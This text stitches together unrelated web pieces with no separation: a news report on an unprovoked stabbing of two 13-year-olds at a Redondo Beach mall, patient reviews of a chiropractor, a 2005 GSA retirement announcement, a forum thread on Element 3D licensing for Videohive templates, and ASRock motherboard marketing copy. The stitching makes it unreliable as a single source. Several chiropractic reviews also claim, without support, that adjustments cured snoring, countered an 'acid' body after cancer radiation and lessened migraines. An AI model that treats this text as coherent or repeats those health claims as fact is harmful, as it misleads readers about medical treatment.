That night, an unidentified assailant brutally stabbed Rich and Maria's son and his 13-year-old female friend as they sat talking on a bench outside the Galleria's AMC theaters. Out of nowhere, a man they did not know and had no contact with stabbed both of them in a totally unprovoked attack - and then vanished into the mall.
Nearly a month after the Dec. 29 stabbings, Ricky and his friend are recovering, but the assailant remains at large. On Thursday, Redondo Beach police and the FBI will announce a reward to try to entice someone to provide information help them find the attacker.
"My biggest fear is it's going to happen to somebody else," said Rich, who requested that his family's surname not be published to protect them.
Frustrated, the father wrote a lengthy, emotional letter to the Daily Breeze recently, describing the emotional night at the mall and at the hospital, asking for the newspaper to republish a sketch of the assailant, and expressing anger that a large shopping center like the South Bay Galleria did not have more surveillance cameras.
"This attack was completely unprovoked, random and senseless," the father wrote. "The attack was done by a cowardly, low-life, dirtbag thug. Only a gutless, spineless human being would prey on our most innocent and precious members of society - 13-year-old children!"
Rich and Maria arrived at the Galleria as paramedics worked on their son and his friend. Police officers kept them away from the crime scene on the third floor of the Hawthorne Boulevard mall. Rich said he thought about the parents who just two weeks earlier assembled in a fire station in Newtown, Conn., waiting for word on their children after a gunman opened fire in an elementary school.
"I remember being overwhelmed," the father said. "My mouth went dry. ... Nobody told us anything. Honestly, I did not know the fate of my son was until they wheeled him by on his gurney and I saw him put his thumbs up."
Maria rode in the ambulance to County Harbor-UCLA Medical Center. Rich followed, once he had made his way out of the Galleria's parking structure, which was backed up with traffic as police searched every car.
Doctors told the couple their son could die. His wounds were serious: He had been stabbed once in his left side, four times in his left arm and once in the heart. He required open heart surgery. Rich followed his son as he was wheeled to an elevator to head into emergency surgery.
"(Ricky) wasn't able to talk to me, not with words," Rich said. "I just told him that I loved him very much and I gave him the sign of the cross. He just looked at me in my eyes and he gave me another thumbs up."
Rich and Maria waited throughout the night as doctors worked to repair their son's wounds. Friends and family members joined them, praying for Ricky's recovery.
"We saw the outpouring and love and support for him and our family," Maria said.
In the same room, relatives of Ricky's friend waited as doctors performed surgery on her. Ricky's surgery took about four hours.
"My wife and I had to dig deep and try to find something to believe in and hold on to, in order to get us through the long, excruciating hours of surgery," Rich wrote in his letter. "I was so anxious to know the condition of my son but, by the same token, I was also very petrified to know."
The surgeon, whom Rich identified as Dr. Dennis Kim, soon brought word that Ricky had survived the surgery.
Ricky, later transferred to his family's medical provider, spent three weeks in the hospital. He is home now, and should recover fully and be back at school and riding his BMX bicycle in no time.
At home Wednesday, Ricky appeared fit, but still had a catheter attached to his right arm to administer antibiotics.
"I'm OK," Ricky said quietly. "I'm good."
For that, his family is grateful.
"I told him during this past two-week period, for every one evil person we encountered, we must have literally interacted with more than 100 awe-inspiring, kind, miraculous individuals," the father wrote in his letter. "These individuals ranged from the good Samaritan who called us that awful night, the awesome first responders at the mall who saved my boy's life, the detectives and Redondo Beach police officers working endless hours to catch this low-life, spineless thug, our astonishing friends, our incredible family members, our awesome neighbors, Ricky's school, and the amazing Harbor-UCLA staff!"
Ricky and his friend helped police create a sketch of the assailant. Redondo Beach police Detective Clint Daniels said investigators are working hard to put a name to the sketch.
Daniels called Ricky a "strong kid" and said his friend is home from the hospital as well and recovering.
"We're still working on it 100 percent of the day," Daniels said.
Police asked anyone with information to call detectives at 310-937-6685.
Rich said he will never let his son return to the Galleria mall. He is angry that security cameras did not adequately capture the assailant on video.
"It's just hard for me to understand why this is the case in this day and age," he said. "When I walk into 7-Eleven I see cameras everywhere I turn. It's just unbelievable and awfully disappointing to me that the South Bay Galleria mall does not have this same type of security in place!"
Rich said he does not want to shelter his son or turn him into a hermit, but he wants him to be safe and wants the assailant caught.
"I want to do whatever I can to help the next person so it doesn't happen to their kid," he said. "This guy went for kids, innocent kids that weren't provoking him. It's just a ticking time bomb waiting to go off."

Ratings for Dr. Chace R. Unruh
I was skeptical that a chiropractor would really be able to help me. I've had back surgery, bulging disc, degenerative disc, arthritis and fibromyalgia. I was so wrong! I wish I had started with them earlier. When you are there the whole staff treats you like family from the moment you walk in. They are very flexible and haven't ever had a problem working around my schedule. They also have so many different types of provider's in there which makes it very easy to see a few providers in a short time. I have my son also see a podiatrist (Dr. Seong Yoo) who is welcoming. You can tell his loves his job. Their hours of operation are long and they even work some on Saturday. I can't say enough nice things about this place.
Dr. Unruh reduced my neck pain by at least 50% after my my first visit. He didn't touch me until reviewing my scans and x-rays. He is very knowledgeable and quick. I've had chronic neck pain for 1 1/2 years - significantly relieved after one visit. I'm so thankful I found Dr. Unruh's Spine Center. The office is very comfortable, modern and professional with a friendly staff.
I have a PPO insurance plan but since I was a new patient, office policy required me to pre-pay office visits. Once insurance plan made payment, office would reimburse me for anything above my copay. After my insurance plan paid all outstanding invoices, office would not return phone calls from myself or from my insurance plan trying to help with my refund. After 7 difficult months, finally had to threaten with Small Claims before I received refund.
I was recently in a car accident and went to Dr. Unruh for the whiplash neck and back pain. I am SO THANKFUL I found Dr. Unruh. He is an amazing doctor with a wonderful and efficient staff and office. He has the newest equipment and a beautiful office. But most importantly - he is a very knowledgeable doctor who also has a super positive healing vibe. I had never been to a chiropractor before so I was a bit skeptical - but I kept an open mind and now feel so blessedly better after just a few weeks. I also used to snore so loudly I would wake up the whole neighborhood - but after my first few appointments and adjustments I completely stopped snoring!! I didn't even know that chiropractic adjustments could help with snoring - but it fixed my problem!! yippeee!! my neck and back feel so much better and my snoring has stopped! I'm a happy patient!!
Migraines run in my family. I have had them since I was in high school. I tried everything including prescription medication as well as other chiropractors, and Dr. Unruh is the first doctor to ever actually lessen the frequency of my migraines. He is extremely knowledgeable and professional. It is very clear that he cares about each of his patients as if they were family.
I met Dr. Unruh when I was undergoing radiation treatment for breast cancer. My body was very acid. The goal was to repair the damage to my body from radiation. He created a protocol for me and educated me on healthy eating.As the months passed, my numbers improved. Approx. one year later, I have reached my goal and am now in a maintenance mode. Dr. Unruh is zealous when it comes to proper nutrition. He practices what he preaches. I can not tell you how many times I emailed or called him with questions. Always a reply. He spent time on his cell phone to call me after hours and always put my mind at ease with his knowledge of nutrition. Very conscientious, friendly, professional Doctor. I am so lucky that I found him.
Very Good!!!! Knowledgeable and the staff are great.
From the outstanding staff to the caring doctors, I have nothing but great things to say. They take the time to talk to you about your needs & you always get in really quickly, with virtually no waiting. Not to mention how much better you feel coming out. I would reccomend them to anyone!
Very good, highly qualified. Got rid of my pain in one treatment...WOW!!!
The best chiropractor I have used in 20 years. Very personable, knowledgable, and helpful. Gets the job done, without ripping you off.

FSS Deputy Commissioner Gray to Retire
June 3, 2005
Contact: Mary Alice Johnson, (202) 501-1231
Washington, DC – The U.S. General Services Administration's (GSA) Federal Supply Service (FSS) Deputy Commissioner, Les Gray, is retiring June 3, 2005, after 34 years of government service.
"Les has been my partner in directing the activities of our 3,000 associates for nearly five years," said FSS Commissioner Donna Bennett. "He represents the finest attributes of the career civil servant."
Mr. Gray has served as FSS Deputy Commissioner for nearly five years. He first joined GSA in 1971 in the National Capital Region's Administrative Services Office and has spent most of his federal career serving in various leadership positions in the FSS Fleet Program. He also served as Director of FSS' Property Management Program.
"I have enjoyed my career at GSA, in particular, working with the associates of FSS," said Deputy Commissioner Les Gray. "I look forward to the next chapter and maintaining these friendships that I have made at GSA."
GSA is a centralized, federal procurement, property management and policy agency, created by Congress to improve government efficiency and help federal agencies better serve the public. GSA acquires, on behalf of federal agencies, office space, equipment, telecommunications, information technology, supplies and services. It also plays a key role in developing and implementing governmentwide policies. GSA's 13,000 associates provide services and solutions for the office operations of more than one million federal workers in more than 8,000 buildings the government owns and leases in 2,000 U.S. communities.

This is a good topic, I didn't know videohive not allowed element3d!
As far as I know is the use of the included models of E3D in templates not allowed, but still I'm wondering why?
I can understand why pre-renders are forbidden, but if the buyer needs to have a copy of Element 3D to use my template, he also has the models provided with that software. So everyone is only using assets he has correctly licensed.
If VC is not planning on releasing another Element 3D edition without the included models this doesn't make any sense. Most of them are primitive shapes..
felt_tips said
As far as I'm aware, the only reason E3D projects are not yet allowed is that Videohive hasn't got around to accepting them for some unknown reason.
Maybe I have to try to upload a project. I've 2 projects ready to publish on videohive, and we will see what's happen…
in my opinion the problems are not only the models (addon packs), also the pro shader bundle and included maps and i am not sure for the environment maps.
safety first – use your own assets in upcoming ae projects using element 3D. or maybe it will push sales on 3docean?
i think there will be alot of projects using element3D in future and hopefully not only text/shape extrusions but the general talent level here is so high, i can't even image yet what great projects will be released.
cheers simlos
i'd like to see some E3D projects, esp logo animations and others here, someday soon. text logo stuff doesnt use prerenders for most, just animated texts

What do you mean? I'm here.
placdarms said
Keep in mind that E3D prerender rules are set by Cramer not by VideoHive. I don't think Envato should somehow exclusively enforce this third-party license. Every author reads license and agrees with the terms and conditions upon the purchase of that plugin. Reviewers do their best to prevent these files from being approved, but they're not a police and if author decides to break the license – he keeps the full liability for that. Still if you're certain that some of the files are using E3D prerendes please do report them to Support. Obvious license violation should not be tolerated either.
reviewers can't be video copilot police. If video copilot thinks someone broke some license, they are free to send DMCA take down requests.
Said this, one should have the honesty to respect the license for the plugins they purchase.
placdarms said
Actually a file came in today that is using Element 3D I put it on hold to find out what is the recent policy about accepting E3D projects. Personally i don't own the plugin so I'm not capable of reviewing those, but if i hear something useful from Brian or Mark – I'll let you know.
Good ! please let us know here if it's accepted or not.

High Density Glass Fabric PCB
What you've never understood about your computer is that it is scared to death of water, H2O, humidity or whatever you'd like to name it. And even though you do not see the water, actually there may be lots of excessive moist in the air killing your motherboard silently and slowly. No, your motherboard doesn't melt when in contact with water like the wicked witch of the west, but it dies of short circuit. Luckily, ASRock has a new High Density Glass Fabric PCB design that reduces the gaps between the PCB layers to protect the motherboard against electrical shorts caused by humidity.
Smart Connect Technology
Smart Connect Technology keeps content always up-to-date! It means that your email, favorite apps, and social networks are continually and automatically updated even when the system is asleep. Smart Connect will periodically wake up the PC while in a sleep state and check updates for things like email, Twitter, Facebook, etc. No more waiting for the latest world news or friends' updates to be delivered—just enable this function and you're up-to-date and ready to go.
* Intel
Smart Connect Technology is only supported under Windows
7 OS or later versions.
Rapid Start Technology

It quickly returns where you left off with a PC that goes from deep-sleep to full awake in a flash. The ultra-responsive capability gives your device the power to quickly resume to Windows
7 OS within few seconds and ensures ultra-low power consumption when on standby. With Intel
Rapid Start Technology, users can jump right back into everything they were doing!

Rapid Start Technology is only supported under Windows
7 OS or later versions.
Smart Response
Smart Response Technology accelerates the system response experience by putting frequently-used blocks of disk data on a solid-state drive (SSD), providing dramatically faster access to user data than the hard disk alone can provide. For users who are tempted to connect the SSD and HDD on ASRock motherboard, Intel
Smart Response Technology can make the SSD become the "Cache of the HDD" to boost up the HDD access speed. ASRock motherboards with Intel
Smart Response Technology are able to drive 4X faster performance boost than a HDD-only system.
Users may prevent motherboard damages due to dampness by enabling "Dehumidifier Function". When enabling Dehumidifier Function, the computer will power on automatically to dehumidify the system after entering S4/S5 state.
ASRock OMG (Online Management Guard)
Fast, Easy and Free – ASRock OMG technology allows you to establish an internet curfew or restrict internet access at specified times. Administrators are able to schedule the starting and ending hours of internet access granted to other users. Normally, ISPs (Internet Service Provider) will charge for internet curfew service, which controls "all" the PCs connected at home. However, ASRock OMG is a free tool for controlling internet access of each single PC. Parents can easily control internet access through the BIOS setup to protect their kids from using the Internet at inappropriate times, and meanwhile, enjoy their own internet space.
